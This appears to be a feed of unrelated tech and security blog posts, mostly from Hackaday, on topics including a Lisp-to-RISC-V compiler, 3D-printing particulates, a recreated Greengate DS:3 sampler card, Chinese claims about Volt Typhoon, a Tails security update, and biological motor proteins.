Ah, Lisp, the archaic language that just keeps on giving. You either love or hate it, but you’ll never stop it. [David Johnson-Davies] is clearly in the love it camp and, to that end, has produced a fair number of tools wedging this language into all kinds of nooks and crannies. The particular nook in question is the RISC-V ISA, with their Lisp-to-RISC-V compiler. This project leads on from their RISC-V assembler by allowing a Lisp function to be compiled directly to assembly and then deployed as callable, provided you stick to the supported language subset, that is!

The fun thing is—you guessed it—it’s written in Lisp. In fact, both projects are pure Lisp and can be run on the uLisp core and deployed onto your microcontroller of choice. Because who wouldn’t want to compile Lisp on a Lisp machine? To add to the fun, [David] created a previous project targeting ARM, so you’ve got even fewer excuses for not being able to access this. If you’ve managed to get your paws on the new Raspberry Pi Pico-2, then you can take your pick and run Lisp on either core type and still compile to native.

The Lisp-Risc-V project can be found in this GitHub repo, with the other tools easy enough to locate.

We see a fair few Lisp projects on these pages. Here’s another bare metal Lisp implementation using AVR. And how many lines of code does it take to implement Lisp anyway? The answer is 42 200 lines of C, to be exact.

hackaday.com/2024/10/14/a-risc…

We’ve all heard stories of the dangers of 3D printing, with fires from runaway hot ends or dodgy heated build plates being the main hazards. But what about the particulates? Can they actually cause health problems in the long run? Maybe, if new research into the carcinogenicity of common 3D printing plastics pans out.

According to authors [CheolHong Lim] and [DongSeok Seo], the research covered in this paper was undertaken because of reports of rare cancers among Korean STEM teachers, particularly those who used 3D printers in their curricula. It was thought that only long-term, continued exposure to the particulates generated by 3D printers could potentially be hazardous and that PLA was less likely to be hazardous than ABS. The study was designed to assess the potential carcinogenicity of both ABS and PLA particulates under conditions similar to what could be expected in an educational setting.

To do this, they generated particulates by heating ABS and PLA to extruder temperatures, collected and characterized them electrostatically, and dissolved them in the solvent DMSO. They used a cell line known as Balb/c, derived from fibroblasts of an albino laboratory mouse, to assess the cytotoxic concentration of each plastic, then conducted a comet assay, which uses cell shape as a proxy for DNA damage; damaged cells often take on a characteristically tailed shape that resembles a comet. This showed no significant DNA damage for either plastic.

But just because a substance doesn’t cause DNA damage doesn’t mean it can’t mess with the cell’s working in other ways. To assess this, they performed a series of cell transformation assays, which look for morphological changes as a result of treatment with a potential carcinogen. Neither ABS nor PLA were found to be carcinogenic in this assay. They also looked at the RNA of the treated cells, to assess the expression of genes related to carcinogenic pathways. They found that of 147 cancer-related genes, 113 were either turned up or turned down relative to controls. Finally, they looked at glucose metabolism as a proxy for the metabolic changes a malignant cell generally experiences, finding that both plastics increased metabolism in vitro.

Does this mean that 3D printing causes cancer? No, not by a long shot. But, it’s clear that under lab conditions, exposure to either PLA or ABS particulates seems to be related to some of the cell changes associated with carcinogenesis. What exactly this means in the real world remains to be seen, but the work described here at least sets the stage for further examination.

What does this all mean to the home gamer? For now, maybe you should at least crack a window while you’re printing.

hackaday.com/2024/10/14/new-st…

The Greengate DS:3 had been re-created in the form of the Goodgreat. Now [Bea Thurman] had to put it to use. If the Greengate DS:3 card was rare, the keyboard was nearly impossible to find. After a long search, [Bea] bought one all the way from Iceland. The card of course came courtesy of [Eric].

It was time to connect the two together. But there was a problem — a big problem. The GreenGate has a DB-25 connected via a ribbon cable to the board’s 2×10 connector. The keyboard that shipped with those cards would plug right in. Unfortunately, [Bea’s] keyboard had a DIP-40 IDC connector crimped on its ribbon cable. What’s more the connectors for the sustain and volume pedals were marked, but never drilled out. The GreenGate silk screen was still there though.

Maybe it was a prototype or some sort of modified hardware. Either way, the 40-pin DIP connector had to go if the keyboard ever were to work with the card. What followed were a few hours of careful wire tracing

Tracing out pins is always a pain. To make it worse, the only DB-25 connector [Bea] had on hand was an Insulation Displacement Connector (IDC). It’s the right part to use for the ribbon cable attached to the keyboard, but not what you’d want to use to test pinouts. These connectors are generally crimped once.

The GreenGate keyboard and foot pedals are matrix scanned – much like a standard alphanumeric keyboard. The keyboard also needed some internal cleanup after 40 years. Like many ‘boards of the day, it used small spring wires that made contact with a common bar. After some painstaking debugging, working directly with [Eric] on video chat, [Bea] had the system working. Now came the fun part — using the keyboard to make music.

The Greengate hardware is impressive, but the software is stunning. [Bea] got in touch with [Colin Green], who wrote it. He’s also the “green” in Greengate. With [Colin’s] software, Waveforms can be edited in an oscilloscope view, much like one would find in a modern DAW. The software even includes a pattern editor, which can be used for arpeggios.

The GreenGate has 4 notes of polyphony, is multitimbral, and can layer multiple samples across the keyboard. Considering this is all handled on an Apple II+ with a green screen monitor for a UI, impressive is an understatement.

[Bea] gives us a great walkthrough using the system. She starts by sampling audio from a cassette. With the audio in memory, she uses this to build a simple song. The entire setup made an appearance at VCF MidWest, so if you saw it in person let us know in the comments!

youtube.com/embed/ndeModWqjnQ?…

hackaday.com/2024/10/14/the-gr…

[Bea Thurman] had a retro music conundrum. She loved the classic Greengate DS:3 sampler, but couldn’t buy one, and couldn’t find enough information to build her own. [Bea’s] plea for help caught the attention of [Eric Schlaepfer], aka [TubeTime]. The collaboration that followed ultimately solved a decades-old mystery.

In the 1980s, there were two types of musicians: Those who could afford a Fairlight CMI and everyone else. If you were an Apple II owner, the solution was a Greengate DS:3. The DS:3 was a music keyboard and a sampler card for the Apple II+ (or better). The plug-in card was a bit mysterious, though. The cards were not very well documented, and only a few survive today. To make matters worse, some chips had part numbers sanded off. It was a bit of a mystery until [Bea and Tubetime] got involved.

Eric Schlaepfer
While [Bea] didn’t have the card itself, she had a photo of the board and a picture of an album that contained the key to everything. The Greengate came packed with a vinyl album, “Into Trouble with the Noise of Art.” An apt title, since the album art was the Greengate PCB top layer. Now if you know [Eric], you know he wrote the book (literally) on taking things apart and taking photos of them, even producing replicas.

Thoroughly nerdsniped, [Eric] loaded the photos KiCad and started tracing. With the entire top layer artwork and most of the bottom layer, the 8-bit card wasn’t too hard to figure out. The sticky point was one chip. A big 40-pin part with the numbers scrubbed off. One owner pulled the chip to check for fab information on the back, only to be greeted by a proper British “You Nosey S.O.B.” penciled on top of more sanded part numbers.

If the chip was an ASIC, the project would be blocked until they could get their hands on an actual board for analysis. An ASIC would have custom part numbers on it from the fab though – no need for sanding. It had to be something off the shelf. [Eric] used some context clues to determine that the Mystery chip had to be a DMA controller. This narrowed the field down. From there, he had to compare pinouts until he had a match with the venerable MC6844.

With the mystery part out of the way, [Eric] put the finishing touches on the PCB, saved it to his GitHub as the GoodGreat DS:3, and sent it off. A few days later, the bare boards arrived and were quickly populated with vintage parts. [Eric] ran a few tests and sent the card off to [Bea], where we will pick up with part 2.

At least the device wasn’t protected with a self-destruct code.

hackaday.com/2024/10/14/solvin…

Tube Time

2023-12-02 02:15:55

i've reverse engineered a printed circuit board using ARTWORK FROM AN ALBUM COVER. 😲 not on my list for 2023!!

Nel febbraio di quest’anno, la Camera dei Rappresentanti degli Stati Uniti ha tenuto un’udienza per discutere della presunta organizzazione di hacker sostenuta dal governo cinese, denominata “Volt Typhoon“, rivelata da Microsoft nel maggio 2023.

Secondo le autorità statunitensi, questa entità rappresenta una minaccia significativa per la sicurezza nazionale. Tuttavia, l’agenzia cinese per la sicurezza informatica ha pubblicato due rapporti, uno in aprile e l’altro in luglio 2023 (come riportato dal China Daily), sostenendo che l’iniziativa “Volt Typhoon” sia in realtà una manovra orchestrata dagli Stati Uniti per screditare la Cina.

Il 14 ottobre, la stessa agenzia ha rilasciato un terzo rapporto, accusando gli Stati Uniti e i paesi del gruppo “Five Eyes” di spionaggio informatico contro Cina, Germania e altre nazioni, oltre che di sorvegliare indiscriminatamente gli utenti di Internet a livello globale, smascherando quella che definiscono una “farsa politica” condotta dagli Stati Uniti.

Il Toolkit stealth Marble e lo spettro della 702

Il rapporto cinese rivela che gli Stati Uniti, da lungo tempo, hanno dispiegato unità di guerra cibernetica nei pressi di paesi rivali per effettuare operazioni di sorveglianza e penetrazione nei loro sistemi di rete. Inoltre, l’intelligence statunitense avrebbe sviluppato un toolkit stealth, con nome in codice “Marble“, concepito per nascondere la propria attività cyber offensiva e incolpare altre nazioni.

Questo toolkit, è considerato una risorsa di alto livello e segreto militare, sarebbe stato sviluppato almeno dal 2015 e include oltre 100 algoritmi di offuscamento per mascherare l’origine degli attacchi.

Grazie a questi strumenti, le truppe di guerra cibernetica statunitensi sarebbero in grado di mascherarsi sotto l’identità di altri stati e condurre attacchi informatici su scala globale, attribuendo poi la responsabilità di tali azioni a nazioni alleate o nemiche. Il rapporto sostiene che la creazione dell’entità “Volt Typhoon” sia una strategia per mantenere il controllo sulla Sezione 702 del “Foreign Intelligence Surveillance Act”, che consente una vasta sorveglianza senza limiti chiari, giustificando in questo modo una rete globale di monitoraggio.

Il controllo dei cavi sottomarini e il monitoraggio dei dati

Un’indagine tecnica ha evidenziato che gli Stati Uniti controllano i principali nodi di comunicazione di Internet, come i cavi sottomarini dell’Atlantico e del Pacifico, e operano con sette stazioni di monitoraggio globale del traffico dati. Queste operazioni avvengono spesso in collaborazione con il National Cyber Security Centre britannico, che analizza e intercetta i dati trasmessi attraverso tali cavi.

Obiettivi principali delle attività di spionaggio sarebbero paesi asiatici, dell’Europa orientale, dell’Africa e del Medio Oriente. Il rapporto afferma inoltre che oltre 50.000 strumenti di spionaggio sono stati impiantati in varie infrastrutture, con le principali città cinesi e università come la Northwestern Polytechnical University e il Centro di monitoraggio dei terremoti di Wuhan tra gli obiettivi primari.

Come sanno i nostri lettori, la Sezione 702 del FISA Emendament Act statunitense, avrebbe creato una rete di sorveglianza globale che include non solo paesi rivali, ma anche alleati e persino cittadini statunitensi. Il documento accusa inoltre aziende come Microsoft di collaborare strettamente con il governo e le agenzie di intelligence per promuovere la narrativa della “minaccia informatica cinese”, allo scopo di avanzare interessi commerciali e giustificare la sorveglianza indiscriminata.

L'articolo Cina vs USA e FISA 702. Gli hacker di Volt Typhoon è una “farsa politica” per screditare la Cina? proviene da il blog della sicurezza informatica.

Gli sviluppatori del sistema operativo anonimo Tails hanno rilasciato un aggiornamento di emergenza con il numero di serie 6.8.1, che elimina una grave vulnerabilità di sicurezza nel browser Tor.

La modifica principale è l’aggiornamento di Tor Browser alla versione 13.5.7, che risolve la vulnerabilità MFSA 2024-51 Use-After-Free.

Un bug di questo tipo consente all’aggressore di assumere il pieno controllo del browser e, secondo Mozilla, viene già sfruttato attivamente negli attacchi contro gli utenti Tor Browser.

L’aggiornamento a Tails 6.8.1 è disponibile tramite aggiornamento automatico a partire dalla versione 6.0 e successive. Se l’aggiornamento automatico non funziona o si verificano problemi nell’avvio di Tails, gli sviluppatori consigliano di aggiornare manualmente il sistema.

Puoi anche installare Tails 6.8.1 su una nuova unità USB. Per fare ciò, agli utenti vengono fornite istruzioni dettagliate per l’installazione tramite Windows, macOS, Linux o utilizzando la riga di comando su Debian e Ubuntu utilizzando GnuPG.

Allo stesso tempo, va ricordato che l’installazione su USB invece dell’aggiornamento comporterà la perdita di tutti i dati nella memoria permanente.

L'articolo Aggiorna Tails alla Svelta! Attacchi Attivi prendono il controllo del Browser TOR proviene da il blog della sicurezza informatica.

At what point does it make sense to 3D print a part compared to opting for injection molding? The short answer is “it depends.” The medium-sized answer is, “it depends on some back-of-the-envelope calculations specific to your project.” That is what [Slant 3D} proposes in a recent video that you can view below. The executive summary is that injection molding is great for when you want to churn out lots of the same parts, but you have to amortize the mold(s), cover shipping and storage, and find a way to deal with unsold inventory. In a hypothetical scenario in the video, a simple plastic widget may appear to cost just 10 cents vs 70 cents for the 3D printed part, but with all intermediate steps added in, the injection molded widget is suddenly over twice as expensive.

In the even longer answer to the question, you would have to account for the flexibility of the 3D printing pipeline, as it can be used on-demand and in print farms across the globe, which opens up the possibility of reducing shipping and storage costs to almost nothing. On the other hand, once you have enough demand for an item (e.g., millions of copies), it becomes potentially significantly cheaper than 3D printing again. Ultimately, it really depends on what the customer’s needs are, what kind of volumes they are looking at, the type of product, and a thousand other questions.

For low-volume prototyping and production, 3D printing is generally the winner, but at what point in ramping up production does switching to an injection molded plastic part start making sense? This does obviously not even account for the physical differences between IM and FDM (or SLA) printed parts, which may also have repercussions when switching. Clearly, this is not a question you want to flunk when it concerns a business that you are running. And of course, you should bear in mind that these numbers are put forth by a 3D printing company, so at the scale where molding becomes a reasonabe option, you’ll also want to do your own research.

While people make entire careers out of injection molding, you can do it yourself in small batches. You can even use your 3D printer in the process. If you try injection molding on your own, or with a professional service, be sure to do your homework and learn what you can to avoid making costly mistakes.

youtube.com/embed/qhxlT4hIm94?…

hackaday.com/2024/10/14/calcul…

Most of us will probably be able to recall at least vaguely that a molecule called ATP is essential for making our bodies move, but this molecule is only a small part of a much larger system. Although we usually aren’t aware of it, our bodies consist of a massive collection of biological motors and related structures, which enable our muscles to contract, nutrients and fluids to move around, and our cells to divide and prosper. Within the biochemical soup that makes up single- and multi-cellular lifeforms, it are these mechanisms that turn a gooey soup into something that can do much more than just gently slosh around in primordial puddles.

There are many similarities between a single-cell organism like a bacteria and eukaryotic multi-cellular organisms like us humans, but the transition to the latter requires significantly more complicated structures. An example for this are cilia, which together with motor proteins like myosin and kinesin form the foundations of our body’s basic functioning. Quite literally supporting all this is the cytoskeleton, which is a feature that our eukaryotic cells have in common with bacteria and archaea, except that eukaryotic cytoskeletons are significantly more complex.

The Cytoskeleton

Image of the mitotic spindle in a human cell showing microtubules in green, chromosomes (DNA) in blue, and kinetochores in red. “Kinetochore” by [Afunguy].We mammals have a skeleton to keep our bodies from collapsing into a sad, soggy pile, so too do our cells have their own skeleton, giving them shape and rigidity, as well as providing motor proteins something to interact with. The cytoskeleton in eukaryotes consists of mainly microfilaments, intermediate filaments and microtubules, with prokaryotes having their own distinct cytoskeleton structures. Of the three types that make up the eukaryotic cytoskeleton, the microfilament and microtubules are used by motor proteins. These thus fall into two categories: actin motors (using the actin-based microfilaments) and microtubule motors.

Although muscles are an obvious example of motor proteins in action, even something as fundamental as cell division (mitosis) involves motor proteins, specifically kinesin microtubule motors. Starting from a centrosome (microtubule organizing center), microtubules are formed from tubulin to create the scaffolding for the kinesin proteins to move across, which then move the two centrosomes (one newly formed) to opposite sides of the cell undergoing mitosis. What drives the actual separation of the duplicated chromosomes (chromatids) are the kinetochores. These kinetochore proteins are microtubule-binding structures that form not only the linkage between the chromatids and a centromere, they also create the mitotic spindle, and which use ATP to ‘crawl’ along the microtubules thanks to their microtubule-binding dynein and kinesin motor proteins. This is what pulls the chromatids apart, allowing mitosis to continue and eventually end up with two sets of DNA within one cell.

“Organization of Muscle Fiber” by [OpenStax]The motor proteins that create muscle cells do not use microtubules, but rather the actin-based microfilaments. Within mammalian species, there are about 40 different types of these myosin motor proteins. The protein myosin II is the one that is part of muscle cells, but it also serves an essential function with mitosis, specifically after the completion of mitosis, when the cytokinesis stage commences. During this an actin-myosin ring is assembled around the cell, along which myosin II proteins can move. Powered by ATP, these motor proteins constrict the cell, pinching it until one cell becomes two, each with its own copy of the original cell’s DNA.

In the case of muscle cells, these are rather unique in this regard, as some of them are multinucleated cells, formed through the fusion of individual cells (a synctium). Mammalian muscle tissues come in three broad categories: smooth, cardiac and skeletal muscle tissue, each of which have distinct properties. Of these skeletal muscle tissue is composed of synctium cells, which form long tubular cells, inside of which are many myofibril organelles. These myofibrils consist of myofilaments, each of which can be a thick, thin or elastic type.

The thick filaments are myosin II proteins, the thin filaments are actin proteins and the elastic filaments (titin-based), which provides support and guidance to the thick and thin filaments. Muscle contraction is thus accomplished by the myosin II filaments binding to the actin and moving across it, powered by the ATP from the mitochondria (the powerhouses of the cell). This shortens the myofibril and thus the muscle. Relaxation of the muscle involves the enzyme acetylcholinesterase, which breaks down the neurotransmitter acetylcholine, which originally excited the muscle fiber membrane’s receptors.

Protein Power

Often referred to as ‘cellular currency’, ATP (adenosine triphosphate) and GTP (guanosine triphosphate) are both nucleoside triphosphates, which are an essential precursor to RNA and DNA in addition to being involved in signaling pathways, and the aforementioned energy currency. These nucleosides are generally synthesized inside cells, in the case of ATP using mechanisms like photosynthesis and cellular respiration. While ATP is the most important energy carrier within the cell, GTP is important in DNA transcription and microtubule polymerization, making its use more specialized.
The cycle of ATP and ADP.
The energy of ATP and GDP is released through hydrolysis, which produces ADP and GDP, respectively, along with a free inorganic phosphate ion (P_i). This releases about 20.5 kilojoules per mole, with the hydrolyzed molecules being ‘recharged’ to produce new ATP and GTP, in a continuous cycle.

For hydrolysis of ATP, the enzyme ATPase has to be present. In the case of e.g. muscle tissue, the ATP will bind to the myosin II proteins, which subsequently gets hydrolyzed by the ATPase, turning it into ADP and P_i. This process forms cross-bridges between the myosin II and actin, which induces movement of the former along the latter, and releasing the ADP and P_i. This is followed by a fresh ATP binding to the myosin II, preparing it for the next power stroke. For different motor proteins a similar process enables a similar process of events, which can continue for as long as it is mechanically possible, fresh ATP (or GTP) is available and an impetus (e.g. neurotransmitter binding to a receptor) is present.

Cilia

“Eukaryotic cilium diagram” by [LadyofHats]Perhaps one of the most fascinating motor proteins are those that are part of flagella and cilia. Here the bacterial flagellum is quite different from the eukaryotic one, being powered by a proton gradient motor, and also different from the archaeal flagella. Meanwhile the eukaryotic flagella and cilia are quite similar, with the distinction being mostly academic. Both consist of nine microtubules with a pair of dynein motor proteins per doublet microtubule that use ATP hydrolysis to provide motion. The only exception here are the non-motile cilia, which lack the dynein.

Dynein motor proteins move along microtubules, which makes their presence in these flagella and cilia rather logical. These motile cilia and flagella are found throughout the body, with the respiratory epithelial cells found throughout the inside of the respiratory tract providing the essential function of mucociliary clearance, and similar motile cilia moving cerebrospinal fluid inside the brain, as well as egg cells from the oviducts (fallopian tubes) to the uterus .

Meanwhile the version found on sperm cells which provide them with the ability to propel themselves are generally called flagella. This version is longer and has a different undulating motion than the motile cilia described earlier, but still has the same basic structure. As said earlier, eukaryotic flagella and cilia are effectively the same, which has led to considerable confusion and debate in the past.

A Wonder Of Evolution

In this article we touched only upon a fraction of the sheer complexity of all the details which make a body like that of ours work (somewhat) perfectly on a daily basis. Beyond the essentials covered on e.g. Wikipedia, there are the in-depth reference books, with the student reference work Biochemistry(8th edition Archive link) by Jeremy M. Berg and colleagues my current go-to refresher on just about anything to do with biochemical systems.

It should come as no surprise that with the sheer complexity of the field of biochemistry, even something as relatively straightforward as motor proteins would lead to significant confusion. This was quite obvious in a recent video on the Smarter Every Day YouTube channel, where the differences between bacterial and eukaryotic flagella got mixed up severely, which was perhaps somewhat ironic for a science channel that is run by a person with rather strong opinions on ‘intelligent design’ (ID).

The complexity of biological motors is often pointed to by ID proponents as some kind of evidence of ‘irreducible complexity’, yet across the bacterial, archaeal and eukaryotic domains we can see the same problems being solved repeatedly in three very distinct fashions. This shows quite clearly the marvel of evolution, and how this process over millions of years can turn even the most complex problem into a logical series of steps once you get the right chemicals together.

Once the chemistry had some time to turn into proper biochemistry with the evolutionary survival process mercilessly picking off the attempts that weren’t quite good enough, and before you know it you have us primates marveling at at said biochemistry. As they say, life finds a way.

Featured image: “Flagellar Motor Assembly” by [PKS615].

hackaday.com/2024/10/14/the-bi…